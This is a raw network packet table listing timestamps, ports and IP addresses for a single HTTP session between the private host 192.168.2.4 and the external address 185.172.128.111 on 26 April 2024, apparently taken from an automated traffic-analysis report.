Apr 26, 2024 09:41:09.943844080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943872929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943888903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943934917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.943955898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943986893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.943999052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.944025040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.944027901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.944077969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.944128990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.944164038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.944183111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.944201946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.944212914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.944217920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.944242001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.944264889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.944669962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.944722891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.944724083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.944772005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.944773912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.944813013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.944876909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.944933891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.944987059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945102930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945157051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945177078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945211887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945261955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945283890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945317984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945349932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945389032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945430040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945480108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945489883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945540905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945558071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945625067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945638895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945708036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945708990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945724010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945749998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945771933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.945945978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.945965052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946000099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946022987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946023941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946038961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946063042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946086884 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946116924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946144104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946162939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946185112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946218967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946264029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946285009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946327925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946549892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946603060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946604967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946645975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946671963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946702957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.946716070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.946744919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.998971939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999011993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999063969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999080896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999099016 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999142885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999160051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999185085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999214888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999231100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999253988 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999281883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999306917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999352932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999370098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999413967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999440908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999466896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999484062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999490976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999515057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999532938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999536037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999579906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999609947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999624968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999691010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999733925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999783039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999830961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999888897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:09.999898911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999929905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999975920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:09.999979019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.000014067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.000055075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.000113964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.000116110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.000132084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.000164032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.000197887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.000652075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.000705004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.000713110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.000746012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.000763893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.000809908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.000906944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.000955105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.000960112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.000998020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001044035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001060963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001091957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001118898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001125097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001152992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001163006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001198053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001213074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001229048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001240969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001266956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001313925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001357079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001419067 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001507044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001527071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001570940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001591921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001635075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001661062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001708031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001727104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001758099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001770973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001780987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.001801968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.001821995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002157927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002212048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002252102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002300978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002310038 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002319098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002345085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002378941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002403975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002424002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002482891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002527952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002554893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002572060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002597094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002619982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002624989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002674103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002682924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002723932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002746105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002774000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.002794027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002820015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.002974033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.003026962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.003110886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.003180027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.003194094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.003221989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.003601074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.003649950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.003690958 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.003734112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.003803968 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.003851891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.003870010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.003885984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.003915071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.003935099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.003957987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.003985882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004004002 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004024982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004031897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004089117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004092932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004162073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004185915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004226923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004252911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004295111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004321098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004365921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004384995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004431963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004528999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004571915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004585028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004610062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004618883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004635096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004657030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004683971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004739046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004785061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004853010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004920006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004926920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004944086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.004971027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.004993916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.005137920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.005188942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.005192995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.005233049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.005244970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.005273104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.005276918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.005316973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.053662062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.053680897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.053739071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.053738117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.053765059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.053790092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.053803921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.053845882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.054169893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.054188013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.054225922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.054249048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.054255962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.054301023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.054418087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.054472923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.054507017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.054523945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.054557085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.054579973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.054939032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.054992914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.055018902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.055062056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.055146933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.055200100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.055226088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.055275917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.055319071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.055368900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.055425882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.055474043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.055851936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.055902004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.055910110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.055952072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.055968046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.055984020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056014061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056035042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056061983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056129932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056180954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056231022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056240082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056256056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056282997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056305885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056327105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056372881 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056386948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056430101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056576967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056591988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056628942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056648970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056693077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056740999 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056852102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056895971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056905985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056911945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.056937933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056961060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.056994915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057039022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057113886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057163954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057192087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057208061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057239056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057259083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057264090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057307005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057311058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057357073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057449102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057465076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057502031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057523012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057550907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057580948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057596922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057620049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057722092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057777882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057801962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.057845116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.057997942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.058044910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.058068037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.058113098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.058128119 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.058150053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.058172941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.058193922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.058197975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.058249950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:10.058355093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.058372974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:10.058406115 CEST	49730	80	192.168.2.4	185.172.128.111
